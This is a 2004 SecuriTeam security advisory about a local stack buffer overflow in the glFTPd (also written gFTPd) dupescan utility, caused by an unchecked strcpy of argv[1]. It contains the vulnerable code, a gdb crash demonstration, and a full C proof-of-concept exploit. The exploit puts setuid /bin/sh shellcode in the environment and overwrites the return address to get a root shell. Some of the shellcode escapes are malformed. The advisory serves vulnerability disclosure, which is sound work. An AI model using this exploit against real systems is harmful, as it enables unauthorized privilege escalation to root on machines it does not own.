

[UNIX] gFTPd Local Stack Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0055.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/22/04

To: list@securiteam.com

Date: 22 Sep 2004 18:37:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

gFTPd Local Stack Buffer Overflow

SUMMARY

<<http://www.gftpd.com>> gFTPd is a very advanced ftp server with lots of possibilities. One of the main differences between many other ftp servers and gFTPd is that it has its own user database which can be completely maintained online using ftp site commands. Using ftp site commands it is also possible to see stats, view logs, execute scripts and do many more things. gFTPd runs within a chroot environment which makes it relatively safe. The gFTPd team continuously works on improving this free piece of beautiful software.

Due to an unsafe copying of parameters from the command line using strcpy() it is possible to overflow a local buffer and cause gFTPd to crash.

DETAILS

Vulnerable Systems:

* gFTPd version 2.00 RC3 and prior

The vulnerability exists because of an unsafe usage of the strcpy() function. Thus, a buffer overflow condition is possible which allows a local user to perform privilege escalation. The problematic code is:

Securiteam: [UNIX] glFTPd Local Stack Buffer Overflow

```
39: int main (int argc, char *argv[]) {
40: FILE *fp;
41: char dupename[255], dupefile[255], Temp[255];
42: struct dupefile buffer;
43: if (argc == 1){
44: printf("USAGE: %s <filename>\n", argv[0]);
45: return 0;
46: }
47:
48: read_conf_datapath(Temp);
49: sprintf(dupefile, "%s/logs/dupefile", Temp);
50:
51: strcpy(dupename, argv[1]); <----- THE BUG
52: if((fp = fopen(dupefile, "r")) == NULL)
53: return 0;
54:
```

In order to demonstrate the issue, perform the following:

```
coki@nosystem:~$ /glftpd/bin/dupescan `perl -e 'print "A" x 300`
Done
Segmentation fault
coki@nosystem:~$
```

```
coki@nosystem:~$ gdb /glftpd/bin/dupescan
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host
libthread_db library "/lib/libthread_db.so.1".
```

```
(gdb) r `perl -e 'print "A" x 300`
Starting program: /glftpd/bin/dupescan `perl -e 'print "A" x 300`
Done
```

```
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) quit
The program is running. Exit anyway? (y or n) y
coki@nosystem:~$
```

```
Exploit
/* glFTPd local stack buffer overflow exploit
(Proof of Concept)
```

Tested in Slackware 9.0 / 9.1 / 10.0

Securiteam: [UNIX] gFTPd Local Stack Buffer Overflow

by CoKi <coki@nosystem.com.ar>

No System Group – <http://www.nosystem.com.ar>

*/

```
#include <stdio.h>
#include <strings.h>
#include <unistd.h>

#define BUFFER 288 + 1
#define PATH "/glftpd/bin/dupescan"

char shellcode[]=
    "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17xcd\x80"
    "\x31\xdb\x31\xc0\xb0\x17xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
    "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
    "\x89\xd8\x40xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(void) {

    char *env[3] = {shellcode, NULL};
    char buf[BUFFER], *path;
    int *buffer = (int *) (buf);
    int i;
    int ret = 0xbfffffff - strlen(shellcode) - strlen(PATH);

    for(i=0; i<=BUFFER; i+=4)
        *buffer++ = ret;

    printf("\n gFTPd local stack buffer overflow (Proof of
    Concept)\n");
    printf(" by CoKi <coki@nosystem.com.ar>\n\n");

    execl(PATH, "dupescan", buf, NULL, env);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:coki@nosystem.com.ar> CoKi.

The original article can be found at:

<<http://www.nosystem.com.ar/advisories/advisory-05.txt>>

<http://www.nosystem.com.ar/advisories/advisory-05.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [UNIX] gFTPd Local Stack Buffer Overflow

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.